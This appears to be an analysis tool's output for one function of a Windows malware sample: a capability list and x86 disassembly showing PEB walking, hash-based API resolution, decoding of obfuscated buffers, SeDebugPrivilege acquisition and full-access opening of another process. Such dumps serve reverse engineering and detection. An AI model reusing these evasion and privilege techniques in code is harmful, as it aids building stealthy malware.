Function at 0x401d10
Capabilities:
Accept command line arguments
Access peb ldr_data
Acquire debug privileges
Resolve function by parsing pe exports
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2f8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2f4], eax
mov eax, dword fs:[0x30]
push esi
push edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x2c8], eax
cmp dword [eax + 0x30], 0
je 0x401dea
nop dword [eax]
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x10], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x401dd0
mov eax, dword [edx + ecx + 0x24]
xor edi, edi
mov esi, dword [edx + ecx + 0x20]
add eax, ecx
mov dword [esp + 0x14], eax
add esi, ecx
mov eax, dword [edx + ecx + 0x1c]
add eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [edx + ecx + 0x18]
mov dword [esp + 0x38], eax
test eax, eax
je 0x401dd0
nop word [eax + eax]
mov edx, dword [esi]
mov eax, 0xaf009408
add edx, ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401dbd
ror eax, 0x1b
lea edx, [edx + 1]
movsx ecx, cl
add eax, ecx
mov cl, byte [edx - 1]
test cl, cl
jne 0x401da0
cmp eax, 0xec1df087
je 0x401eb4
add dword [esp + 0x14], 2
inc edi
mov ecx, dword [esp + 0x10]
add esi, 4
cmp edi, dword [esp + 0x38]
jb 0x401d90
mov eax, dword [esp + 0x2c8]
mov eax, dword [eax]
mov dword [esp + 0x2c8], eax
cmp dword [eax + 0x30], 0
jne 0x401d50
xor esi, esi
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x1009ffe
call fcn.00402a10
lea eax, [esp + 0x14]
push eax
call esi
lea eax, [esp + 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x2cc], 1
mov esi, eax
jle 0x40264a
push dword [esi + 4]
lea ecx, [esp + 0x2e8]
call fcn.00402b00
push 0
push 0x41bac4
lea ecx, [esp + 0x2ec]
call fcn.00402a50
cmp eax, 0xffffffff
je 0x40264a
lea ecx, [esp + 0x2e4]
mov dword [0x7bf68c], 1
call fcn.00402c20
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x7bf68c], 0
je 0x402634
lea ecx, [esp + 0x6c]
mov dword [esp + 0x6c], 0x1b6537b9
xor esi, esi
mov dword [esp + 0x70], 0x576fcfd5
mov dword [esp + 0x74], 0x1002d9e
call fcn.004029d0
lea ecx, [esp + 0x6c]
call fcn.004019e0
test eax, eax
jne 0x40266a
jmp 0x401ed1
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0x2c8]
add esi, dword [eax + 0x18]
jmp 0x401dec
movaps xmm0, xmmword [0x41bc00]
lea ecx, [esp + 0x84]
movups xmmword [esp + 0x84], xmm0
mov dword [esp + 0x94], 0x8a70319a
mov dword [esp + 0x98], 0xe56f5ff5
mov dword [esp + 0x9c], 0x7bcd75a5
mov word [esp + 0xa0], 0x5a
mov byte [esp + 0xa2], 1
call fcn.00402950
lea eax, [esp + 0x84]
push eax
call fcn.004017c0
add esp, 4
xor edi, edi
test esi, esi
je 0x401f39
test edi, edi
jne 0x401f9d
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], 0x1b6537b9
mov dword [esp + 0x7c], 0x576fcfd5
mov dword [esp + 0x80], 0x1002d9e
call fcn.004029d0
lea ecx, [esp + 0x78]
call fcn.004019e0
mov esi, eax
test esi, esi
je 0x401f39
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], 0x62551dad
mov dword [esp + 0x64], 0xd3ff6f00
mov word [esp + 0x68], 0x100
call fcn.00402910
lea edx, [esp + 0x60]
mov ecx, esi
call fcn.00401c70
mov edi, eax
test edi, edi
je 0x401f31
lea eax, [esp + 0x2c8]
mov dword [esp + 0x2c8], 0
push eax
xorps xmm0, xmm0
push 0x28
movaps xmmword [esp + 0x2d8], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x402029
lea eax, [esp + 0x2d4]
mov dword [esp + 0x2d0], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x2e8], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x402020
push 0
push 0
push 0
lea eax, [esp + 0x2dc]
push eax
push 0
push dword [esp + 0x2dc]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x2c8]
call edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [esp + 0x38], esi
test esi, esi
je 0x4026b9
mov ecx, esi
call fcn.00401970
test al, al
je 0x4026c6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
cmp dword [eax + 0x30], 0
je 0x402105
nop
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x4020f1
mov eax, dword [ecx + edx + 0x24]
xor edi, edi
mov esi, dword [ecx + edx + 0x20]
add eax, ecx
mov dword [esp + 0xc], eax
add esi, ecx
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov dword [esp + 0x1c], eax
mov eax, dword [ecx + edx + 0x18]
mov dword [esp + 0x24], eax
test eax, eax
je 0x4020f1
nop word [eax + eax]
mov edx, dword [esi]
add edx, ecx
mov ecx, 0xaf009408
mov al, byte [edx]
inc edx
test al, al
je 0x4020de
ror ecx, 0x1b
lea edx, [edx + 1]
movsx eax, al
add ecx, eax
mov al, byte [edx - 1]
test al, al
jne 0x4020c0
cmp ecx, 0x40bd4e52
je 0x4025aa
add dword [esp + 0xc], 2
inc edi
mov ecx, dword [esp + 0x18]
add esi, 4
cmp edi, dword [esp + 0x24]
jb 0x4020b0
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [esp + 0x10], eax
cmp dword [eax + 0x30], 0
jne 0x402070
xor esi, esi
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x34b5ec
mov byte [esp + 0x2c], 1
call fcn.00402840
lea eax, [esp + 0x28]
push eax
call esi
mov ecx, dword fs:[0x30]
add esp, 4
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
je 0x4021d5
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x4021c1
mov eax, dword [ecx + edx + 0x24]
xor edi, edi
mov esi, dword [ecx + edx + 0x20]
add eax, ecx
mov dword [esp + 0x10], eax
add esi, ecx
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov dword [esp + 0x24], eax
mov eax, dword [ecx + edx + 0x18]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x4021c1
mov edx, dword [esi]
add edx, ecx
mov ecx, 0xaf009408
mov al, byte [edx]
inc edx
test al, al
je 0x4021ae
ror ecx, 0x1b
lea edx, [edx + 1]
movsx eax, al
add ecx, eax
mov al, byte [edx - 1]
test al, al
jne 0x402190
cmp ecx, 0x40bd4e52
je 0x4025c4
add dword [esp + 0x10], 2
inc edi
mov ecx, dword [esp + 0x18]
add esi, 4
cmp edi, dword [esp + 0x1c]
jb 0x402180
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
jne 0x402146
xor esi, esi
lea ecx, [esp + 0x3c]
mov dword [esp + 0x3c], 0x6820afed
mov dword [esp + 0x40], 0xe8e581
mov byte [esp + 0x44], 1
call fcn.00402880
lea eax, [esp + 0x3c]
push eax
call esi
movaps xmm0, xmmword [0x41bb90]
lea ecx, [esp + 0xbc]
movups xmmword [esp + 0xbc], xmm0
add esp, 4
mov esi, eax
movaps xmm0, xmmword [0x41bbb0]
movups xmmword [esp + 0xc8], xmm0
mov byte [esp + 0x1b8], 1
movaps xmm0, xmmword [0x41bb20]
movups xmmword [esp + 0xd8], xmm0
movaps xmm0, xmmword [0x41bb60]
movups xmmword [esp + 0xe8], xmm0
movaps xmm0, xmmword [0x41bb80]
movups xmmword [esp + 0xf8], xmm0
movaps xmm0, xmmword [0x41bb00]
movups xmmword [esp + 0x108], xmm0
movaps xmm0, xmmword [0x41bbc0]
movups xmmword [esp + 0x118], xmm0
movaps xmm0, xmmword [0x41bbf0]
movups xmmword [esp + 0x128], xmm0
movaps xmm0, xmmword [0x41bbe0]
movups xmmword [esp + 0x138], xmm0
movaps xmm0, xmmword [0x41bba0]
movups xmmword [esp + 0x148], xmm0
movaps xmm0, xmmword [0x41bb10]
movups xmmword [esp + 0x158], xmm0
movaps xmm0, xmmword [0x41bb40]
movups xmmword [esp + 0x168], xmm0
movaps xmm0, xmmword [0x41bb30]
movups xmmword [esp + 0x178], xmm0
movaps xmm0, xmmword [0x41bb70]
movups xmmword [esp + 0x188], xmm0
movaps xmm0, xmmword [0x41bbd0]
movups xmmword [esp + 0x198], xmm0
movaps xmm0, xmmword [0x41baf0]
movups xmmword [esp + 0x1a8], xmm0
call fcn.004028c0
push 1
push dword [esp + 0x24]
lea edx, [esp + 0xc0]
mov ecx, 0x41e8f0
push esi
call fcn.00401af0
mov eax, dword fs:[0x30]
add esp, 0xc
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
je 0x4023d5
nop word [eax + eax]
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x1c], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x4023c1
mov eax, dword [edx + ecx + 0x24]
xor edi, edi
mov esi, dword [edx + ecx + 0x20]
add eax, ecx
mov dword [esp + 0x10], eax
add esi, ecx
mov eax, dword [edx + ecx + 0x1c]
add eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [edx + ecx + 0x18]
mov dword [esp + 0x20], eax
test eax, eax
je 0x4023c1
nop word [eax + eax]
mov edx, dword [esi]
add edx, ecx
mov ecx, 0xaf009408
mov al, byte [edx]
inc edx
test al, al
je 0x4023ae
ror ecx, 0x1b
lea edx, [edx + 1]
movsx eax, al
add ecx, eax
mov al, byte [edx - 1]
test al, al
jne 0x402390
cmp ecx, 0x40bd4e52
je 0x4025de
add dword [esp + 0x10], 2
inc edi
mov ecx, dword [esp + 0x1c]
add esi, 4
cmp edi, dword [esp + 0x20]
jb 0x402380
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
jne 0x402340
xor esi, esi
lea ecx, [esp + 0x48]
mov dword [esp + 0x48], 0x6820afed
mov dword [esp + 0x4c], 0xe8e581
mov byte [esp + 0x50], 1
call fcn.00402880
push 0
push 1
push 1
push 1
push 1
lea eax, [esp + 0x5c]
push 1
push eax
call esi
mov esi, dword [esp + 0x54]
add esp, 4
mov edx, 0x41e8f0
mov ecx, esi
push eax
call section..text
add esp, 0x1c
test al, al
jne 0x40262c
call fcn.00401960
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
je 0x4024d5
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x1c], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x4024c1
mov eax, dword [edx + ecx + 0x24]
xor edi, edi
mov esi, dword [edx + ecx + 0x20]
add eax, ecx
mov dword [esp + 0x10], eax
add esi, ecx
mov eax, dword [edx + ecx + 0x1c]
add eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [edx + ecx + 0x18]
mov dword [esp + 0x20], eax
test eax, eax
je 0x4024c1
mov edx, dword [esi]
add edx, ecx
mov ecx, 0xaf009408
mov al, byte [edx]
inc edx
test al, al
je 0x4024ae
ror ecx, 0x1b
lea edx, [edx + 1]
movsx eax, al
add ecx, eax
mov al, byte [edx - 1]
test al, al
jne 0x402490
cmp ecx, 0x40bd4e52
je 0x4025f8
add dword [esp + 0x10], 2
inc edi
mov ecx, dword [esp + 0x1c]
add esi, 4
cmp edi, dword [esp + 0x20]
jb 0x402480
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
jne 0x402446
xor esi, esi
lea ecx, [esp + 0x30]
mov dword [esp + 0x30], 0x34b5ec
mov byte [esp + 0x34], 1
call fcn.00402840
lea eax, [esp + 0x30]
push eax
call esi
mov ecx, dword fs:[0x30]
add esp, 4
mov dword [esp + 0x24], eax
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
je 0x4026d0
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x1c], ecx
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x402591
mov eax, dword [edx + ecx + 0x24]
xor edi, edi
mov esi, dword [edx + ecx + 0x20]
add eax, ecx
mov dword [esp + 0x10], eax
add esi, ecx
mov eax, dword [edx + ecx + 0x1c]
add eax, ecx
mov dword [esp + 0x18], eax
mov eax, dword [edx + ecx + 0x18]
mov dword [esp + 0x20], eax
test eax, eax
je 0x402591
mov edx, dword [esi]
add edx, ecx
mov ecx, 0xaf009408
mov al, byte [edx]
inc edx
test al, al
je 0x40257e
ror ecx, 0x1b
lea edx, [edx + 1]
movsx eax, al
add ecx, eax
mov al, byte [edx - 1]
test al, al
jne 0x402560
cmp ecx, 0x40bd4e52
je 0x402612
add dword [esp + 0x10], 2
inc edi
mov ecx, dword [esp + 0x1c]
add esi, 4
cmp edi, dword [esp + 0x20]
jb 0x402550
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0xc], eax
cmp dword [eax + 0x30], 0
je 0x4026d0
jmp 0x402516
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 0x1c]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0x10]
add esi, dword [eax + 0x18]
jmp 0x402107
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x24]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0xc]
add esi, dword [eax + 0x18]
jmp 0x4021d7
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0xc]
add esi, dword [eax + 0x18]
jmp 0x4023d7
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0xc]
add esi, dword [eax + 0x18]
jmp 0x4024d7
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
movzx eax, word [eax]
mov esi, dword [esi + eax*4]
mov eax, dword [esp + 0xc]
add esi, dword [eax + 0x18]
jmp 0x4026d2
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
mov ecx, dword [esp + 0x2fc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402d62
mov esp, ebp
pop ebp
ret
push 0
mov dword [0], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
call fcn.00406061
movaps xmm0, xmmword [0x41bb50]
lea ecx, [esp + 0xa4]
movups xmmword [esp + 0xa4], xmm0
mov word [esp + 0xb4], 0xe4
mov byte [esp + 0xb6], 1
call fcn.00402990
lea eax, [esp + 0xa4]
push eax
call fcn.004017c0
add esp, 4
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00406061
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call fcn.00406061
push esi
call edi
push 0
call fcn.00406061
xor esi, esi
lea ecx, [esp + 0x54]
mov dword [esp + 0x54], 0x6820afed
mov dword [esp + 0x58], 0xe8e581
mov byte [esp + 0x5c], 1
call fcn.00402880
lea eax, [esp + 0x54]
push eax
call esi
movaps xmm0, xmmword [0x41bb90]
lea ecx, [esp + 0x1c4]
movups xmmword [esp + 0x1c4], xmm0
add esp, 4
mov esi, eax
movaps xmm0, xmmword [0x41bbb0]
movups xmmword [esp + 0x1d0], xmm0
mov byte [esp + 0x2c0], 1
movaps xmm0, xmmword [0x41bb20]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x41bb60]
movups xmmword [esp + 0x1f0], xmm0
movaps xmm0, xmmword [0x41bb80]
movups xmmword [esp + 0x200], xmm0
movaps xmm0, xmmword [0x41bb00]
movups xmmword [esp + 0x210], xmm0
movaps xmm0, xmmword [0x41bbc0]
movups xmmword [esp + 0x220], xmm0
movaps xmm0, xmmword [0x41bbf0]
movups xmmword [esp + 0x230], xmm0
movaps xmm0, xmmword [0x41bbe0]
movups xmmword [esp + 0x240], xmm0
movaps xmm0, xmmword [0x41bba0]
movups xmmword [esp + 0x250], xmm0
movaps xmm0, xmmword [0x41bb10]
movups xmmword [esp + 0x260], xmm0
movaps xmm0, xmmword [0x41bb40]
movups xmmword [esp + 0x270], xmm0
movaps xmm0, xmmword [0x41bb30]
movups xmmword [esp + 0x280], xmm0
movaps xmm0, xmmword [0x41bb70]
movups xmmword [esp + 0x290], xmm0
movaps xmm0, xmmword [0x41bbd0]
movups xmmword [esp + 0x2a0], xmm0
movaps xmm0, xmmword [0x41baf0]
movups xmmword [esp + 0x2b0], xmm0
call fcn.004028c0
push 1
push dword [esp + 0x28]
lea edx, [esp + 0x1c8]
mov ecx, 0x41e8f0
push esi
call fcn.00401af0
add esp, 0xc
call fcn.00401960
push dword [esp + 0x38]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
push 0
call fcn.00406061
int3